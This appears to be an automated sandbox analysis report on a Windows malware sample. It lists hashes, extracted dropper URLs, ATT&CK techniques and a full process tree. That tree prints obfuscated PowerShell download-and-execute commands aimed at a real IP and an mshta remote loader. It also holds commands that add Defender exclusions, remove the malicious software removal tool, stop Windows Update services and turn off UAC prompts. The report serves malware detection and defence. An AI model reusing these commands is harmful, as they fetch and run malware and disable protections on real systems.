00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da

Analysis

max time kernel
150s
max time network
143s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 19:44

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General

Target

GRGFK_file.exe
Size

50KB
MD5

666248c216a3f63828f739839230f9f6
SHA1

13690837235053762a538b4c5b2b601ec9f6bb22
SHA256

00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da
SHA512

37e57468a080dbb33ee480ae63d80939ff06050035f168630ba1d8e220e1b4859f78f897a12ba83a514bc97ed7927ee01c6fcca67fbaf479294a529302f7bdde
SSDEEP

768:CT6n3V7i+V39HhHw98cje6O7UgYWE8knmbN8vnoK:7i+/BHw98cyoWE8ks8vnp

Score

10^/10

defense_evasion evasion execution persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/2.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/3.png

Extracted

Language

hta

Source

URLs

hta.dropper

http://176.113.115.178/Windows-Update

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/1.png

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exemshta.exepowershell.exe

flow pid process

5 1792 powershell.exe
6 1728 powershell.exe
8 2600 mshta.exe
9 1632 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

1728 powershell.exe
1792 powershell.exe
1632 powershell.exe
1724 powershell.exe
2820 powershell.exe
2568 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Sets service image path in registry 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112

Processes:

services.exe

description ioc process

Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\LIB\ImagePath = "C:\\ProgramData\\Mig\\Mig.exe" services.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

flow	pid	process
5	1792	powershell.exe
6	1728	powershell.exe
8	2600	mshta.exe
9	1632	powershell.exe

pid	process
1728	powershell.exe
1792	powershell.exe
1632	powershell.exe
1724	powershell.exe
2820	powershell.exe
2568	powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\LIB\ImagePath = "C:\\ProgramData\\Mig\\Mig.exe"	services.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

LB31.exeMig.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mig.exe

Executes dropped EXE 2 IoCs

Processes:

LB31.exeMig.exe

pid process

2448 LB31.exe
1996 Mig.exe

pid	process
2448	LB31.exe
1996	Mig.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx	svchost.exe

Loads dropped DLL 2 IoCs

Processes:

powershell.exeservices.exe

pid process

1632 powershell.exe
476 services.exe
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

2280 powercfg.exe
1568 powercfg.exe
2092 powercfg.exe
2404 powercfg.exe
2516 powercfg.exe
1352 powercfg.exe
1652 powercfg.exe
2488 powercfg.exe

pid	process
1632	powershell.exe
476	services.exe

pid	process
2280	powercfg.exe
1568	powercfg.exe
2092	powercfg.exe
2404	powercfg.exe
2516	powercfg.exe
1352	powercfg.exe
1652	powercfg.exe
2488	powercfg.exe

Drops file in System32 directory 5 IoCs

Processes:

powershell.exeLB31.exepowershell.exeMig.exewmiprvse.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	LB31.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Mig.exe
File opened for modification	C:\Windows\system32\wbem\Logs\wmiprov.log	wmiprvse.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

LB31.exeMig.exe

description	pid	process	target process
PID 2448 set thread context of 1448	2448	LB31.exe	dialer.exe
PID 1996 set thread context of 1832	1996	Mig.exe	dialer.exe
PID 1996 set thread context of 1296	1996	Mig.exe	dialer.exe
PID 1996 set thread context of 1568	1996	Mig.exe	powercfg.exe

Drops file in Windows directory 3 IoCs

Processes:

wusa.exesvchost.exewusa.exe

description	ioc	process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
2916	sc.exe
1940	sc.exe
1972	sc.exe
1228	sc.exe
2276	sc.exe
2568	sc.exe
2600	sc.exe
2324	sc.exe
1252	sc.exe
2064	sc.exe
1608	sc.exe
1292	sc.exe
776	sc.exe
1872	sc.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command and Scripting Interpreter
T1059

Processes:

ipconfig.exe

pid process

1160 ipconfig.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
1160	ipconfig.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30dbe6d84d3cdb01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeLB31.exepowershell.exedialer.exeMig.exepowershell.exedialer.exe

pid	process
1792	powershell.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe
1632	powershell.exe
2568	powershell.exe
1632	powershell.exe
1632	powershell.exe
2448	LB31.exe
1724	powershell.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
2448	LB31.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
2448	LB31.exe
1448	dialer.exe
1448	dialer.exe
2448	LB31.exe
2448	LB31.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
1996	Mig.exe
1448	dialer.exe
1448	dialer.exe
2820	powershell.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
1448	dialer.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1996	Mig.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe
1832	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedialer.exepowercfg.exesvchost.exepowershell.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedialer.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeShutdownPrivilege	2404	powercfg.exe
Token: SeShutdownPrivilege	2280	powercfg.exe
Token: SeShutdownPrivilege	1568	powercfg.exe
Token: SeDebugPrivilege	1448	dialer.exe
Token: SeShutdownPrivilege	2092	powercfg.exe
Token: SeAuditPrivilege	860	svchost.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	1832	dialer.exe
Token: SeShutdownPrivilege	2488	powercfg.exe
Token: SeShutdownPrivilege	1352	powercfg.exe
Token: SeShutdownPrivilege	2516	powercfg.exe
Token: SeShutdownPrivilege	1652	powercfg.exe
Token: SeLockMemoryPrivilege	1568	dialer.exe
Token: SeAssignPrimaryTokenPrivilege	860	svchost.exe
Token: SeIncreaseQuotaPrivilege	860	svchost.exe
Token: SeSecurityPrivilege	860	svchost.exe
Token: SeTakeOwnershipPrivilege	860	svchost.exe
Token: SeLoadDriverPrivilege	860	svchost.exe
Token: SeSystemtimePrivilege	860	svchost.exe
Token: SeBackupPrivilege	860	svchost.exe
Token: SeRestorePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeSystemEnvironmentPrivilege	860	svchost.exe
Token: SeUndockPrivilege	860	svchost.exe
Token: SeManageVolumePrivilege	860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	860	svchost.exe
Token: SeIncreaseQuotaPrivilege	860	svchost.exe
Token: SeSecurityPrivilege	860	svchost.exe
Token: SeTakeOwnershipPrivilege	860	svchost.exe
Token: SeLoadDriverPrivilege	860	svchost.exe
Token: SeSystemtimePrivilege	860	svchost.exe
Token: SeBackupPrivilege	860	svchost.exe
Token: SeRestorePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeSystemEnvironmentPrivilege	860	svchost.exe
Token: SeUndockPrivilege	860	svchost.exe
Token: SeManageVolumePrivilege	860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	860	svchost.exe
Token: SeIncreaseQuotaPrivilege	860	svchost.exe
Token: SeSecurityPrivilege	860	svchost.exe
Token: SeTakeOwnershipPrivilege	860	svchost.exe
Token: SeLoadDriverPrivilege	860	svchost.exe
Token: SeSystemtimePrivilege	860	svchost.exe
Token: SeBackupPrivilege	860	svchost.exe
Token: SeRestorePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeSystemEnvironmentPrivilege	860	svchost.exe
Token: SeUndockPrivilege	860	svchost.exe
Token: SeManageVolumePrivilege	860	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	860	svchost.exe
Token: SeIncreaseQuotaPrivilege	860	svchost.exe
Token: SeSecurityPrivilege	860	svchost.exe
Token: SeTakeOwnershipPrivilege	860	svchost.exe
Token: SeLoadDriverPrivilege	860	svchost.exe
Token: SeSystemtimePrivilege	860	svchost.exe
Token: SeBackupPrivilege	860	svchost.exe
Token: SeRestorePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeSystemEnvironmentPrivilege	860	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

GRGFK_file.exewscript.exepowershell.exeWScript.execmd.exepowershell.exemshta.exepowershell.execmd.exeLB31.exedialer.exe

description	pid	process	target process
PID 2500 wrote to memory of 2548	2500	GRGFK_file.exe	wscript.exe
PID 2500 wrote to memory of 2548	2500	GRGFK_file.exe	wscript.exe
PID 2500 wrote to memory of 2548	2500	GRGFK_file.exe	wscript.exe
PID 2548 wrote to memory of 1728	2548	wscript.exe	powershell.exe
PID 2548 wrote to memory of 1728	2548	wscript.exe	powershell.exe
PID 2548 wrote to memory of 1728	2548	wscript.exe	powershell.exe
PID 2548 wrote to memory of 1792	2548	wscript.exe	powershell.exe
PID 2548 wrote to memory of 1792	2548	wscript.exe	powershell.exe
PID 2548 wrote to memory of 1792	2548	wscript.exe	powershell.exe
PID 1728 wrote to memory of 2160	1728	powershell.exe	WScript.exe
PID 1728 wrote to memory of 2160	1728	powershell.exe	WScript.exe
PID 1728 wrote to memory of 2160	1728	powershell.exe	WScript.exe
PID 2160 wrote to memory of 2868	2160	WScript.exe	cmd.exe
PID 2160 wrote to memory of 2868	2160	WScript.exe	cmd.exe
PID 2160 wrote to memory of 2868	2160	WScript.exe	cmd.exe
PID 2868 wrote to memory of 2600	2868	cmd.exe	mshta.exe
PID 2868 wrote to memory of 2600	2868	cmd.exe	mshta.exe
PID 2868 wrote to memory of 2600	2868	cmd.exe	mshta.exe
PID 1792 wrote to memory of 1160	1792	powershell.exe	ipconfig.exe
PID 1792 wrote to memory of 1160	1792	powershell.exe	ipconfig.exe
PID 1792 wrote to memory of 1160	1792	powershell.exe	ipconfig.exe
PID 2600 wrote to memory of 1632	2600	mshta.exe	powershell.exe
PID 2600 wrote to memory of 1632	2600	mshta.exe	powershell.exe
PID 2600 wrote to memory of 1632	2600	mshta.exe	powershell.exe
PID 1632 wrote to memory of 2568	1632	powershell.exe	powershell.exe
PID 1632 wrote to memory of 2568	1632	powershell.exe	powershell.exe
PID 1632 wrote to memory of 2568	1632	powershell.exe	powershell.exe
PID 1632 wrote to memory of 2448	1632	powershell.exe	LB31.exe
PID 1632 wrote to memory of 2448	1632	powershell.exe	LB31.exe
PID 1632 wrote to memory of 2448	1632	powershell.exe	LB31.exe
PID 960 wrote to memory of 1704	960	cmd.exe	wusa.exe
PID 960 wrote to memory of 1704	960	cmd.exe	wusa.exe
PID 960 wrote to memory of 1704	960	cmd.exe	wusa.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 2448 wrote to memory of 1448	2448	LB31.exe	dialer.exe
PID 1448 wrote to memory of 428	1448	dialer.exe	winlogon.exe
PID 1448 wrote to memory of 476	1448	dialer.exe	services.exe
PID 1448 wrote to memory of 484	1448	dialer.exe	lsass.exe
PID 1448 wrote to memory of 492	1448	dialer.exe	lsm.exe
PID 1448 wrote to memory of 596	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 676	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 760	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 820	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 860	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 976	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 268	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 1056	1448	dialer.exe	taskhost.exe
PID 1448 wrote to memory of 1064	1448	dialer.exe	spoolsv.exe
PID 1448 wrote to memory of 1084	1448	dialer.exe	Dwm.exe
PID 1448 wrote to memory of 1132	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 1176	1448	dialer.exe	Explorer.EXE
PID 1448 wrote to memory of 752	1448	dialer.exe	OSPPSVC.EXE
PID 1448 wrote to memory of 1016	1448	dialer.exe	wmiprvse.exe
PID 1448 wrote to memory of 1760	1448	dialer.exe	DllHost.exe
PID 1448 wrote to memory of 2760	1448	dialer.exe	svchost.exe
PID 1448 wrote to memory of 2380	1448	dialer.exe	sppsvc.exe
PID 1448 wrote to memory of 2888	1448	dialer.exe	wmiprvse.exe
PID 1448 wrote to memory of 3024	1448	dialer.exe	WMIADAP.EXE
PID 1448 wrote to memory of 2448	1448	dialer.exe	LB31.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:428

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Sets service image path in registry
- Loads dropped DLL
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:596
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    - Drops file in System32 directory
    PID:1016
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1760
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    3⤵
    - Checks processor information in registry
    PID:2888
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  - Indicator Removal: Clear Windows Event Logs
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:820
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1084
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- - C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    PID:3024
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:976
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:268
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1056
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1064
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1132
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:752
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2760
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2380
- C:\ProgramData\Mig\Mig.exe
  C:\ProgramData\Mig\Mig.exe
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:1996
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2484
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:1964
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2600
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1940
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2568
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1872
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1972
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:1296
- - C:\Windows\system32\dialer.exe
    dialer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1568

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:484

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:492

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1176
- C:\Users\Admin\AppData\Local\Temp\GRGFK_file.exe
  "C:\Users\Admin\AppData\Local\Temp\GRGFK_file.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\system32\wscript.exe
    "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1728
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2160
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Windows\system32\mshta.exe
        
        mshta http://176.113.115.178/Windows-Update
        7⤵
        Blocklisted process makes network request
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        8⤵
        UAC bypass
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2568
        
        C:\Users\Admin\AppData\Roaming\LB31.exe
        
        "C:\Users\Admin\AppData\Roaming\LB31.exe"
        9⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2448
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:960
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        11⤵
        Drops file in Windows directory
        
        PID:1704
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        10⤵
        Launches sc.exe
        
        PID:1292
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        10⤵
        Launches sc.exe
        
        PID:2916
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:1608
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        10⤵
        Launches sc.exe
        
        PID:1252
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        10⤵
        Launches sc.exe
        
        PID:776
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2404
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2092
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
